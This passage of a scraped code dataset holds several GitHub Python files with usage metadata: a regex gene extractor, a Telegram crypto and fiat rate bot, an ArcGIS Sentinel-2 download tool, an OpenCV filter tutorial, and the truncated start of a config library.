{"api_name": "numpy.exp", "line_number": 515, "usage_type": "call"}, {"api_name": "numpy.power", "line_number": 515, "usage_type": "call"}, {"api_name": "numpy.power", "line_number": 517, "usage_type": "call"}, {"api_name": "numpy.exp", "line_number": 518, "usage_type": "call"}, {"api_name": "numpy.power", "line_number": 518, "usage_type": "call"}, {"api_name": "numpy.power", "line_number": 519, "usage_type": "call"}, {"api_name": "brian2.Hz", "line_number": 531, "usage_type": "name"}, {"api_name": "numpy.array", "line_number": 540, "usage_type": "call"}, {"api_name": "numpy.exp", "line_number": 541, "usage_type": "call"}, {"api_name": "numpy.pi", "line_number": 541, "usage_type": "attribute"}, {"api_name": "numpy.angle", "line_number": 542, "usage_type": "call"}, {"api_name": "numpy.sum", "line_number": 542, "usage_type": "call"}, {"api_name": "numpy.pi", "line_number": 543, "usage_type": "attribute"}, {"api_name": "brian2.ms", "line_number": 547, "usage_type": "name"}, {"api_name": "numpy.zeros", "line_number": 552, "usage_type": "call"}, {"api_name": "brian2.prefs.codegen", "line_number": 563, "usage_type": "attribute"}, {"api_name": "brian2.prefs", "line_number": 563, "usage_type": "name"}]}
{"seq_id": "33395838190", "text": "#Funtion to find genes in abstracts with regex additional to the genes from the Uniprot CBB API\nimport simplejson as json\nimport re\n\ndef get_regex_genes(articles_doc):\n    #Loading the articles from the json file for gene analysis\n    articles_doc = json.loads(articles_doc)\n    articles_doc = articles_doc\n    #splitting the article (for every article) in seperate words and check if the word is a gene or not\n    #based on a regular expression.\n\n    for article in articles_doc:\n\n        abstract = article['abstract']\n        words = abstract.split()\n        for word in words:\n            split = split_chars(word)\n            for word in split:\n                #Checking if a word has untwanted charachters, if they do they'll be removed\n                if len(word) > 1 and (word[-1] == \",\" or word[-1] == \"-\"):\n                    word = word[:-1]\n                if len(word) > 1 and word[0] == \"-\":\n                    word = word[1:]\n                #Checking if a word meets the demands of being a gene if the word does and it isnt allready in the list of genes from the api_genes\n                # it will be added to the list of genes.\n                if (hasNumbers(word) or hasLowerUpper(word)) and upperLimit(word) and unwanted(word):\n                    api_genes = [x['name'].lower() for x in article['genes']]\n                    if word.lower() not in api_genes:\n                        genes = article['genes']\n                        genes.append({'name': word, 'orthologs': {}, 'eggnog': ''})\n    #adding the gense to the json format\n    articles_doc = json.dumps(articles_doc)\n    #returning the json format of genes\n    return articles_doc\n\n#Function to check if a word contains numbers, returns a boolean\ndef hasNumbers(inputString):\n    boolean = False\n    if re.search(r'\\d', inputString) and (re.search(r'([A-Za-z])', inputString)):\n        boolean = True\n    return boolean\n\n#Function to check if a word contains lower and upper case characters, returns a boolean\ndef hasLowerUpper(inputString):\n    boolean = False\n    if re.search(r'([A-Za-z])+([A-Z])+([a-z])*(.)*', inputString):\n        boolean = True\n    return boolean\n\n#Function to check when a word contains only uppercase characters it is within the range of 3-5, returns a boolean\ndef upperLimit(inputString):\n    boolean = False\n    if inputString.isupper():\n        if re.match(r'[A-Z]{3,5}$', inputString):\n            boolean = True\n    else:\n        boolean = True\n    return boolean\n\ndef split_chars(inputString):\n    output = re.findall(r'[\\w\\',-]+', inputString)\n    return output\n\n#Function to check if a word is an unwanted one, returns a boolean\ndef unwanted(inputString):\n    boolean = True\n    unwanted = ['induced', 'targeted', 'treated', 'involved', 'pretreated', 'negative', 'positive', 'insensitive',\n                'dependent', 'independent', 'involved', 'control','scavenging', 'derived', 'protein', 'related', 'like',\n                'mediated', 'related', 'responsive', 'enriched', 'overexpressing', 'governed', 'sensitive', 'absorbing',\n                'produced', 'producing', 'associated', 'attributed', 'inflicted', 'ínitiated', 'elicited', 'activated',\n                'supplemented', 'supplemental', 'repeat', 'enriched', 'damaging', 'signaling', 'deficient', 'guided']\n    words = inputString.split('-')\n    for word in words:\n        if word.lower() in unwanted:\n            boolean = False\n\n    return boolean", "repo_name": "heleensev/TextGraver", "sub_path": "Textminer/textgraver/regex_genes.py", "file_name": "regex_genes.py", "file_ext": "py", "file_size_in_byte": 3431, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "simplejson.loads", "line_number": 7, "usage_type": "call"}, {"api_name": "simplejson.dumps", "line_number": 32, "usage_type": "call"}, {"api_name": "re.search", "line_number": 39, "usage_type": "call"}, {"api_name": "re.search", "line_number": 46, "usage_type": "call"}, {"api_name": "re.match", "line_number": 54, "usage_type": "call"}, {"api_name": "re.findall", "line_number": 61, "usage_type": "call"}]}
{"seq_id": "13494984292", "text": "# python jarvis.py\r\n\r\nimport json\r\nimport requests\r\nfrom aiogram import Bot, types, Dispatcher\r\nfrom aiogram.dispatcher.filters import Text\r\nfrom pycoingecko import CoinGeckoAPI\r\nfrom aiogram.utils import executor\r\nfrom aiogram.types import ReplyKeyboardRemove, \\\r\n    ReplyKeyboardMarkup, KeyboardButton, \\\r\n    InlineKeyboardMarkup, InlineKeyboardButton\r\nfrom konf import TOKEN\r\n\r\ncg = CoinGeckoAPI()\r\n\r\n\r\n# цикл для отправки запросов на сайт\r\ndef cripta():\r\n    if (cg.status_code == 200):\r\n        cg.encoding = 'utf-8'\r\n\r\n\r\nbtc = (cg.get_price(ids=' bitcoin', vs_currencies='usd'))  # достаем валюту в словарь\r\nbtc1 = btc.get('bitcoin')  # достаем значение из словаря - биток\r\nbtc2 = btc1.get('usd')\r\n\r\neth = (cg.get_price(ids=' ethereum', vs_currencies='usd'))  # достаем валюту в словарь\r\neth1 = eth.get('ethereum')  # достаем значение из словаря - эфир\r\neth2 = eth1.get('usd')\r\n\r\nzec = (cg.get_price(ids=' zcash', vs_currencies='usd'))  # достаем валюту в словарь\r\nzec1 = zec.get('zcash')  # достаем значение из словаря - зедкеш\r\nzec2 = zec1.get('usd')\r\n\r\n# импорт курсов фиата\r\nr = requests.get('https://www.cbr-xml-daily.ru/daily_json.js')\r\n\r\n\r\n# обрабатываем Джсон по фиату\r\ndef fiat():  # цикл для отправки запросов на сайт\r\n    if (r.status_code == 200):\r\n        r.encoding = 'utf-8'\r\n\r\n\r\ndata = json.loads(r.text)\r\n\r\nu = (data['Valute']['USD']['Value'])\r\ne = (data['Valute']['EUR']['Value'])\r\n\r\nbot = Bot(token=TOKEN)\r\ndp = Dispatcher(bot)\r\n\r\n\r\n# кнопки\r\n@dp.message_handler(commands=\"start\")\r\nasync def cmd_start(message: types.Message):\r\n    keyboard = types.ReplyKeyboardMarkup(resize_keyboard=True)\r\n    buttons = [\"Крипта\", \"Фиат\"]\r\n    keyboard.add(*buttons)\r\n    await message.reply(\"Какие курсы интересуют?\", reply_markup=keyboard)\r\n\r\n\r\n# from aiogram.dispatcher.filters import Text\r\n@dp.message_handler(Text(equals=\"Крипта\"))\r\nasync def crypto(message: types.Message):\r\n    await message.reply('Btc: ' + str(btc2) + \",  \" + \"Eth: \" + str(eth2) + ', ' \\\r\n                        + 'Zec: ' + str(zec2))  # вывод цены крипты\r\n\r\n\r\n@dp.message_handler(Text(equals=\"Фиат\"))\r\nasync def fiat(message: types.Message):\r\n    if (r.status_code == 200):\r\n        r.encoding = 'utf-8'\r\n    await message.reply('Usd: ' + str(u) + \",  \" + 'Eur: ' + str(e))  # вывод цены фиата\r\n\r\n\r\nif __name__ == '__main__':\r\n    executor.start_polling(dp)\r\n\r\n", "repo_name": "Wassya/kriptobot", "sub_path": "jarvis.py", "file_name": "jarvis.py", "file_ext": "py", "file_size_in_byte": 2676, "program_lang": "python", "lang": "ru", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "pycoingecko.CoinGeckoAPI", "line_number": 14, "usage_type": "call"}, {"api_name": "requests.get", "line_number": 36, "usage_type": "call"}, {"api_name": "json.loads", "line_number": 45, "usage_type": "call"}, {"api_name": "aiogram.Bot", "line_number": 50, "usage_type": "call"}, {"api_name": "konf.TOKEN", "line_number": 50, "usage_type": "name"}, {"api_name": "aiogram.Dispatcher", "line_number": 51, "usage_type": "call"}, {"api_name": "aiogram.types.Message", "line_number": 56, "usage_type": "attribute"}, {"api_name": "aiogram.types", "line_number": 56, "usage_type": "name"}, {"api_name": "aiogram.types.ReplyKeyboardMarkup", "line_number": 57, "usage_type": "call"}, {"api_name": "aiogram.types", "line_number": 57, "usage_type": "name"}, {"api_name": "aiogram.types.Message", "line_number": 65, "usage_type": "attribute"}, {"api_name": "aiogram.types", "line_number": 65, "usage_type": "name"}, {"api_name": "aiogram.dispatcher.filters.Text", "line_number": 64, "usage_type": "call"}, {"api_name": "aiogram.types.Message", "line_number": 71, "usage_type": "attribute"}, {"api_name": "aiogram.types", "line_number": 71, "usage_type": "name"}, {"api_name": "aiogram.dispatcher.filters.Text", "line_number": 70, "usage_type": "call"}, {"api_name": "aiogram.utils.executor.start_polling", "line_number": 78, "usage_type": "call"}, {"api_name": "aiogram.utils.executor", "line_number": 78, "usage_type": "name"}]}
{"seq_id": "23076258569", "text": "def execute(\n        parameters\n):\n    # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #\n    # region IMPORTS\n\n    import os\n    import time\n    import datetime\n    import arcpy\n\n    from concurrent.futures import ThreadPoolExecutor\n    from concurrent.futures import as_completed\n\n    from scripts import stac\n    from scripts import cube\n    from scripts import shared\n\n    # endregion\n\n    # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #\n    # region EXTRACT PARAMETERS\n\n    # uncomment these when not testing\n    in_lyr = parameters[0].valueAsText\n    out_nc = parameters[1].valueAsText\n    in_start_date = parameters[2].value\n    in_end_date = parameters[3].value\n    in_collections = parameters[4].valueAsText\n    in_band_assets = parameters[5].valueAsText\n    in_mask_algorithm = parameters[6].value\n    in_quality_flags = parameters[7].valueAsText\n    in_max_out_of_bounds = parameters[8].value\n    in_max_invalid_pixels = parameters[9].value\n    in_keep_mask = parameters[10].value\n    in_nodata_value = parameters[11].value\n    in_srs = parameters[12].value\n    in_res = parameters[13].value\n    in_max_threads = parameters[14].value\n\n    # uncomment these when testing\n    # in_lyr = r'C:\\Users\\Lewis\\Desktop\\arcdea\\perth_sa.shp'\n    # out_nc = r'C:\\Users\\Lewis\\Desktop\\arcdea\\s2.nc'\n    # in_start_date = datetime.datetime(2023, 1, 1)\n    # in_end_date = datetime.datetime.now()\n    # in_collections = \"'Sentinel 2A';'Sentinel 2B'\"\n    # in_band_assets = \"'Blue';'Green';'Red'\"\n    # in_mask_algorithm = 'S2Cloudless' #'fMask'  # 'S2Cloudless'\n    # in_quality_flags = \"Valid\"  #\"'Valid';'Shadow';'Snow';'Water'\"  # \"Valid\"\n    # in_max_out_of_bounds = 10\n    # in_max_invalid_pixels = 5\n    # in_keep_mask = False\n    # in_nodata_value = -999\n    # in_srs = 'GDA94 Australia Albers (EPSG: 3577)'  # 'WGS84 (EPSG: 4326)'\n    # in_res = 10\n    # in_max_threads = None\n\n    # endregion\n\n    # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #\n    # region PREPARE ENVIRONMENT\n\n    arcpy.SetProgressor('default', 'Preparing environment...')\n\n    # allow output overwrites\n    arcpy.env.overwriteOutput = True\n\n    time.sleep(1)\n\n    # endregion\n\n    # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #\n    # region PREPARE PARAMETERS\n\n    arcpy.SetProgressor('default', 'Preparing DEA STAC query parameters...')\n\n    # convert featureclass to bbox and epsg\n    fc_bbox = shared.get_bbox_from_featureclass(in_lyr)\n    fc_epsg = shared.get_epsg_from_featureclass(in_lyr)\n\n    # convert start and end datetime to date strings\n    start_date = in_start_date.date().strftime('%Y-%m-%d')\n    end_date = in_end_date.date().strftime('%Y-%m-%d')\n\n    # convert collections and assets to lists\n    collections = shared.prepare_collections(in_collections)\n    assets = shared.prepare_assets(in_band_assets)\n\n    # convert mask algorithm and flags to list, append to assets\n    quality_flags = shared.prepare_quality_flags(in_quality_flags, in_mask_algorithm)\n    mask_algorithm = shared.prepare_mask_algorithm(in_mask_algorithm)\n    assets = shared.append_mask_band(assets, mask_algorithm)\n\n    # convert max out of bounds, invalid pixel values\n    max_out_of_bounds = shared.prepare_max_out_of_bounds(in_max_out_of_bounds)\n    max_invalid_pixels = shared.prepare_max_invalid_pixels(in_max_invalid_pixels)\n\n    # convert nodata, epsg and resolution to numerics\n    out_nodata = in_nodata_value\n    out_epsg = shared.prepare_spatial_reference(in_srs)\n    out_res = shared.prepare_resolution(in_res, out_epsg)\n\n    # set output dtype (always int16 for baseline)\n    out_dtype = 'int16'\n\n    # validate num threads, if none will use num of cores - 1\n    max_threads = shared.prepare_max_threads(in_max_threads)\n\n    time.sleep(1)\n\n    # endregion\n\n    # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #\n    # region QUERY STAC ENDPOINT\n\n    arcpy.SetProgressor('default', 'Querying DEA STAC endpoint...')\n\n    try:\n        # reproject stac bbox to wgs 1984, fetch all available stac items\n        stac_bbox = shared.reproject_bbox(fc_bbox, fc_epsg, 4326)\n        stac_features = stac.fetch_all_stac_feats(collections,\n                                                  start_date,\n                                                  end_date,\n                                                  stac_bbox,\n                                                  100)\n    except Exception as e:\n        arcpy.AddError('Error occurred during DEA STAC query. See messages.')\n        arcpy.AddMessage(str(e))\n        return\n\n    # abort if no stac features found\n    if len(stac_features) == 0:\n        arcpy.AddWarning('No STAC features were found.')\n        return\n\n    time.sleep(1)\n\n    # endregion\n\n    # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #\n    # region PREPARING STAC FEATURES\n\n    arcpy.SetProgressor('default', 'Preparing STAC downloads...')\n\n    root_folder = os.path.dirname(out_nc)\n    tmp_folder = os.path.join(root_folder, 'tmp')\n\n    shared.drop_temp_folder(tmp_folder)\n    shared.create_temp_folder(tmp_folder)\n\n    try:\n        # reproject output bbox to requested, convert stac to download objects\n        out_bbox = shared.reproject_bbox(fc_bbox, fc_epsg, out_epsg)\n        stac_downloads = stac.convert_stac_feats_to_stac_downloads(stac_features,\n                                                                   assets,\n                                                                   mask_algorithm,\n                                                                   quality_flags,\n                                                                   max_out_of_bounds,\n                                                                   max_invalid_pixels,\n                                                                   out_bbox,\n                                                                   out_epsg,\n                                                                   out_res,\n                                                                   out_nodata,\n                                                                   out_dtype,\n                                                                   tmp_folder)\n\n    except Exception as e:\n        arcpy.AddError('Error occurred during STAC download preparation. See messages.')\n        arcpy.AddMessage(str(e))\n        return\n\n    stac_downloads = stac.group_stac_downloads_by_solar_day(stac_downloads)\n\n    if len(stac_downloads) == 0:\n        arcpy.AddWarning('No valid downloads were found.')\n        return\n\n    time.sleep(1)\n\n    # endregion\n\n    # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #\n    # region DOWNLOAD WCS MASK DATA\n\n    arcpy.SetProgressor('step', 'Downloading and validating mask data...', 0, len(stac_downloads), 1)\n\n    try:\n        i = 0\n        with ThreadPoolExecutor(max_workers=max_threads) as pool:\n            futures = []\n            for stac_download in stac_downloads:\n                task = pool.submit(cube.worker_read_mask_and_validate, stac_download)\n                futures.append(task)\n\n            for future in as_completed(futures):\n                arcpy.AddMessage(future.result())\n\n                i += 1\n                if i % 1 == 0:\n                    arcpy.SetProgressorPosition(i)\n\n    except Exception as e:\n        arcpy.AddError('Error occurred while downloading and validating mask data. See messages.')\n        arcpy.AddMessage(str(e))\n        return\n\n    stac_downloads = cube.remove_mask_invalid_downloads(stac_downloads)\n\n    if len(stac_downloads) == 0:\n        arcpy.AddWarning('No valid downloads were found.')\n        return\n\n    time.sleep(1)\n\n    arcpy.ResetProgressor()\n\n    # endregion\n\n    # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #\n    # region DOWNLOAD WCS VALID DATA\n\n    arcpy.SetProgressor('step', 'Downloading valid data...', 0, len(stac_downloads), 1)\n\n    try:\n        i = 0\n        with ThreadPoolExecutor(max_workers=max_threads) as pool:\n            futures = []\n            for download in stac_downloads:\n                task = pool.submit(cube.worker_read_bands_and_export, download)\n                futures.append(task)\n\n            for future in as_completed(futures):\n                arcpy.AddMessage(future.result())\n\n                i += 1\n                if i % 1 == 0:\n                    arcpy.SetProgressorPosition(i)\n\n    except Exception as e:\n        arcpy.AddError('Error occurred while downloading valid data. See messages.')\n        arcpy.AddMessage(str(e))\n        return\n\n    time.sleep(1)\n\n    arcpy.ResetProgressor()\n\n    # endregion\n\n    # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #\n    # region CLEAN AND COMBINE NETCDFS\n\n    arcpy.SetProgressor('default', 'Cleaning and combining NetCDFs...')\n\n    try:\n        ds = cube.fix_xr_meta_and_combine(stac_downloads)\n\n    except Exception as e:\n        arcpy.AddError('Error occurred while cleaning and combining NetCDFs. See messages.')\n        arcpy.AddMessage(str(e))\n        return\n\n    time.sleep(1)\n\n    # endregion\n\n    # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #\n    # region MASK OUT INVALID NETCDF PIXELS\n\n    arcpy.SetProgressor('default', 'Masking out invalid NetCDF pixels...')\n\n    try:\n        ds = cube.apply_xr_mask(ds,\n                                quality_flags,\n                                out_nodata,\n                                in_keep_mask)\n\n    except Exception as e:\n        arcpy.AddError('Error occurred while masking out invalid NetCDF pixels. See messages.')\n        arcpy.AddMessage(str(e))\n        return\n\n    time.sleep(1)\n\n    # endregion\n\n    # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #\n    # region EXPORT COMBINED NETCDF\n\n    arcpy.SetProgressor('default', 'Exporting combined NetCDF...')\n\n    try:\n        cube.export_xr_to_nc(ds, out_nc)\n\n    except Exception as e:\n        arcpy.AddError('Error occurred while exporting combined NetCDF. See messages.')\n        arcpy.AddMessage(str(e))\n        return\n\n    time.sleep(1)\n\n    # endregion\n\n    # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #\n    # region CLEAN UP ENVIRONMENT\n\n    arcpy.SetProgressor('default', 'Cleaning up environment...')\n\n    cube.safe_close_ncs(tmp_folder)  # TODO: surely there is better way\n    shared.drop_temp_folder(tmp_folder)\n\n    time.sleep(1)\n\n    # endregion\n\n#execute(None)\n", "repo_name": "lewistrotter/ArcDEA", "sub_path": "ArcDEA/Toolboxes/toolboxes/geoprocessors/fetch_sentinel2_baseline.py", "file_name": "fetch_sentinel2_baseline.py", "file_ext": "py", "file_size_in_byte": 10469, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "arcpy.SetProgressor", "line_number": 63, "usage_type": "call"}, {"api_name": "arcpy.env", "line_number": 66, "usage_type": "attribute"}, {"api_name": "time.sleep", "line_number": 68, "usage_type": "call"}, {"api_name": "arcpy.SetProgressor", "line_number": 75, "usage_type": "call"}, {"api_name": "scripts.shared.get_bbox_from_featureclass", "line_number": 78, "usage_type": "call"}, {"api_name": "scripts.shared", "line_number": 78, "usage_type": "name"}, {"api_name": "scripts.shared.get_epsg_from_featureclass", "line_number": 79, "usage_type": "call"}, {"api_name": "scripts.shared", "line_number": 79, "usage_type": "name"}, {"api_name": "scripts.shared.prepare_collections", "line_number": 86, "usage_type": "call"}, {"api_name": "scripts.shared", "line_number": 86, "usage_type": "name"}, {"api_name": "scripts.shared.prepare_assets", "line_number": 87, "usage_type": "call"}, {"api_name": "scripts.shared", "line_number": 87, "usage_type": "name"}, {"api_name": "scripts.shared.prepare_quality_flags", "line_number": 90, "usage_type": "call"}, {"api_name": "scripts.shared", "line_number": 90, "usage_type": "name"}, {"api_name": "scripts.shared.prepare_mask_algorithm", "line_number": 91, "usage_type": "call"}, {"api_name": "scripts.shared", "line_number": 91, "usage_type": "name"}, {"api_name": "scripts.shared.append_mask_band", "line_number": 92, "usage_type": "call"}, {"api_name": "scripts.shared", "line_number": 92, "usage_type": "name"}, {"api_name": "scripts.shared.prepare_max_out_of_bounds", "line_number": 95, "usage_type": "call"}, {"api_name": "scripts.shared", "line_number": 95, "usage_type": "name"}, {"api_name": "scripts.shared.prepare_max_invalid_pixels", "line_number": 96, "usage_type": "call"}, {"api_name": "scripts.shared", "line_number": 96, "usage_type": "name"}, {"api_name": "scripts.shared.prepare_spatial_reference", "line_number": 100, "usage_type": "call"}, {"api_name": "scripts.shared", "line_number": 100, "usage_type": "name"}, {"api_name": "scripts.shared.prepare_resolution", "line_number": 101, "usage_type": "call"}, {"api_name": "scripts.shared", "line_number": 101, "usage_type": "name"}, {"api_name": "scripts.shared.prepare_max_threads", "line_number": 107, "usage_type": "call"}, {"api_name": "scripts.shared", "line_number": 107, "usage_type": "name"}, {"api_name": "time.sleep", "line_number": 109, "usage_type": "call"}, {"api_name": "arcpy.SetProgressor", "line_number": 116, "usage_type": "call"}, {"api_name": "scripts.shared.reproject_bbox", "line_number": 120, "usage_type": "call"}, {"api_name": "scripts.shared", "line_number": 120, "usage_type": "name"}, {"api_name": "scripts.stac.fetch_all_stac_feats", "line_number": 121, "usage_type": "call"}, {"api_name": "scripts.stac", "line_number": 121, "usage_type": "name"}, {"api_name": "arcpy.AddError", "line_number": 127, "usage_type": "call"}, {"api_name": "arcpy.AddMessage", "line_number": 128, "usage_type": "call"}, {"api_name": "arcpy.AddWarning", "line_number": 133, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 136, "usage_type": "call"}, {"api_name": "arcpy.SetProgressor", "line_number": 143, "usage_type": "call"}, {"api_name": "os.path.dirname", "line_number": 145, "usage_type": "call"}, {"api_name": "os.path", "line_number": 145, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 146, "usage_type": "call"}, {"api_name": "os.path", "line_number": 146, "usage_type": "attribute"}, {"api_name": "scripts.shared.drop_temp_folder", "line_number": 148, "usage_type": "call"}, {"api_name": "scripts.shared", "line_number": 148, "usage_type": "name"}, {"api_name": "scripts.shared.create_temp_folder", "line_number": 149, "usage_type": "call"}, {"api_name": "scripts.shared", "line_number": 149, "usage_type": "name"}, {"api_name": "scripts.shared.reproject_bbox", "line_number": 153, "usage_type": "call"}, {"api_name": "scripts.shared", "line_number": 153, "usage_type": "name"}, {"api_name": "scripts.stac.convert_stac_feats_to_stac_downloads", "line_number": 154, "usage_type": "call"}, {"api_name": "scripts.stac", "line_number": 154, "usage_type": "name"}, {"api_name": "arcpy.AddError", "line_number": 168, "usage_type": "call"}, {"api_name": "arcpy.AddMessage", "line_number": 169, "usage_type": "call"}, {"api_name": "scripts.stac.group_stac_downloads_by_solar_day", "line_number": 172, "usage_type": "call"}, {"api_name": "scripts.stac", "line_number": 172, "usage_type": "name"}, {"api_name": "arcpy.AddWarning", "line_number": 175, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 178, "usage_type": "call"}, {"api_name": "arcpy.SetProgressor", "line_number": 185, "usage_type": "call"}, {"api_name": "concurrent.futures.ThreadPoolExecutor", "line_number": 189, "usage_type": "call"}, {"api_name": "scripts.cube.worker_read_mask_and_validate", "line_number": 192, "usage_type": "attribute"}, {"api_name": "scripts.cube", "line_number": 192, "usage_type": "name"}, {"api_name": "concurrent.futures.as_completed", "line_number": 195, "usage_type": "call"}, {"api_name": "arcpy.AddMessage", "line_number": 196, "usage_type": "call"}, {"api_name": "arcpy.SetProgressorPosition", "line_number": 200, "usage_type": "call"}, {"api_name": "arcpy.AddError", "line_number": 203, "usage_type": "call"}, {"api_name": "arcpy.AddMessage", "line_number": 204, "usage_type": "call"}, {"api_name": "scripts.cube.remove_mask_invalid_downloads", "line_number": 207, "usage_type": "call"}, {"api_name": "scripts.cube", "line_number": 207, "usage_type": "name"}, {"api_name": "arcpy.AddWarning", "line_number": 210, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 213, "usage_type": "call"}, {"api_name": "arcpy.ResetProgressor", "line_number": 215, "usage_type": "call"}, {"api_name": "arcpy.SetProgressor", "line_number": 222, "usage_type": "call"}, {"api_name": "concurrent.futures.ThreadPoolExecutor", "line_number": 226, "usage_type": "call"}, {"api_name": "scripts.cube.worker_read_bands_and_export", "line_number": 229, "usage_type": "attribute"}, {"api_name": "scripts.cube", "line_number": 229, "usage_type": "name"}, {"api_name": "concurrent.futures.as_completed", "line_number": 232, "usage_type": "call"}, {"api_name": "arcpy.AddMessage", "line_number": 233, "usage_type": "call"}, {"api_name": "arcpy.SetProgressorPosition", "line_number": 237, "usage_type": "call"}, {"api_name": "arcpy.AddError", "line_number": 240, "usage_type": "call"}, {"api_name": "arcpy.AddMessage", "line_number": 241, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 244, "usage_type": "call"}, {"api_name": "arcpy.ResetProgressor", "line_number": 246, "usage_type": "call"}, {"api_name": "arcpy.SetProgressor", "line_number": 253, "usage_type": "call"}, {"api_name": "scripts.cube.fix_xr_meta_and_combine", "line_number": 256, "usage_type": "call"}, {"api_name": "scripts.cube", "line_number": 256, "usage_type": "name"}, {"api_name": "arcpy.AddError", "line_number": 259, "usage_type": "call"}, {"api_name": "arcpy.AddMessage", "line_number": 260, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 263, "usage_type": "call"}, {"api_name": "arcpy.SetProgressor", "line_number": 270, "usage_type": "call"}, {"api_name": "scripts.cube.apply_xr_mask", "line_number": 273, "usage_type": "call"}, {"api_name": "scripts.cube", "line_number": 273, "usage_type": "name"}, {"api_name": "arcpy.AddError", "line_number": 279, "usage_type": "call"}, {"api_name": "arcpy.AddMessage", "line_number": 280, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 283, "usage_type": "call"}, {"api_name": "arcpy.SetProgressor", "line_number": 290, "usage_type": "call"}, {"api_name": "scripts.cube.export_xr_to_nc", "line_number": 293, "usage_type": "call"}, {"api_name": "scripts.cube", "line_number": 293, "usage_type": "name"}, {"api_name": "arcpy.AddError", "line_number": 296, "usage_type": "call"}, {"api_name": "arcpy.AddMessage", "line_number": 297, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 300, "usage_type": "call"}, {"api_name": "arcpy.SetProgressor", "line_number": 307, "usage_type": "call"}, {"api_name": "scripts.cube.safe_close_ncs", "line_number": 309, "usage_type": "call"}, {"api_name": "scripts.cube", "line_number": 309, "usage_type": "name"}, {"api_name": "scripts.shared.drop_temp_folder", "line_number": 310, "usage_type": "call"}, {"api_name": "scripts.shared", "line_number": 310, "usage_type": "name"}, {"api_name": "time.sleep", "line_number": 312, "usage_type": "call"}]}
{"seq_id": "73302963131", "text": "import cv2\nimport numpy as np\n#can also check this https://www.murtazahassan.com/learn-opencv-in-3-hours-chapter-2/\n\n#We will learn how to add different effects to images in OpenCV\n\n#We need to read an image\nimg = cv2.imread(\"resources/lena.png\")\n\n#add matrix there are 5x5 cells and the numbers are from 0 to 255\nkernel = np.ones((5,5),np.uint8)\n\n#convert the image into\n#Grayscale\nimgGray = cv2.cvtColor(img,cv2.COLOR_BGR2GRAY)\n#Blur it takes image the scale (has to be odd numbers) and sigmaX\nimgBlur = cv2.GaussianBlur(img,(7,7),0)\n#Canny finds edges in image add threshold\nimgCanny = cv2.Canny(img,200,150)\n#dilation better defies the borders of the canny image\n# we need a matrix so install numpy for this step\n# iterations is the thickness\nimgDilated = cv2.dilate(imgCanny,kernel,iterations=1)\n#eroded is the oppesite of Dilate it gives smaller lines\nimgEroded = cv2.erode(imgDilated,kernel,iterations=1)\n\n\ncv2.imshow(\"Gray image\",imgGray)\ncv2.imshow(\"Blur image\",imgBlur)\ncv2.imshow(\"Canny image\",imgCanny)\ncv2.imshow(\"Dilated image\",imgDilated)\ncv2.imshow(\"Eroded image\",imgEroded)\n\n\ncv2.waitKey(0)\n", "repo_name": "andalusm/opencv", "sub_path": "chapter2.py", "file_name": "chapter2.py", "file_ext": "py", "file_size_in_byte": 1108, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "cv2.imread", "line_number": 8, "usage_type": "call"}, {"api_name": "numpy.ones", "line_number": 11, "usage_type": "call"}, {"api_name": "numpy.uint8", "line_number": 11, "usage_type": "attribute"}, {"api_name": "cv2.cvtColor", "line_number": 15, "usage_type": "call"}, {"api_name": "cv2.COLOR_BGR2GRAY", "line_number": 15, "usage_type": "attribute"}, {"api_name": "cv2.GaussianBlur", "line_number": 17, "usage_type": "call"}, {"api_name": "cv2.Canny", "line_number": 19, "usage_type": "call"}, {"api_name": "cv2.dilate", "line_number": 23, "usage_type": "call"}, {"api_name": "cv2.erode", "line_number": 25, "usage_type": "call"}, {"api_name": "cv2.imshow", "line_number": 28, "usage_type": "call"}, {"api_name": "cv2.imshow", "line_number": 29, "usage_type": "call"}, {"api_name": "cv2.imshow", "line_number": 30, "usage_type": "call"}, {"api_name": "cv2.imshow", "line_number": 31, "usage_type": "call"}, {"api_name": "cv2.imshow", "line_number": 32, "usage_type": "call"}, {"api_name": "cv2.waitKey", "line_number": 35, "usage_type": "call"}]}
{"seq_id": "40308933867", "text": "from __future__ import absolute_import, print_function\nfrom .version import __version__\n\nimport time\nimport string\nimport sys\nimport os\nimport json\n\nfrom ast import literal_eval\nfrom appdirs import user_config_dir\nfrom functools import partial\n\n\nfrom .func_sigs import map_args_to_func_sig, repl_func_defaults\nfrom .func_sigs import flatten_dotted_arg_from_dict\nfrom .casting import funcname, cast, t_attr, t_funcs\nfrom .casting import is_cls, attr\n\n\nfrom devapps import common\n\nnil = common.nil\nExc = common.Exc\nthrow = common.throw\nis_str = common.is_str\nbreakpoint = common.breakpoint\nfrom .common import set_log, info, debug, warn, error, get_structlogger\n\nodict = dict\nif common.PY2:\n    from .casting import recursive_to_new_style\n    from collections import OrderedDict\n\n    # unfortuntatelly in py2 dicts are not insertion ordered.\n    # we rely on this, .e.g in pre_parse_cli:\n    odict = OrderedDict\n\n\n# -------------------------------------------------------- Base Config Provider\nclass Provider(object):\n    # fmt: off\n    str_only             = False\n    allow_short_keys     = False\n    set_runner_func      = False\n    allow_unknown_attrs  = 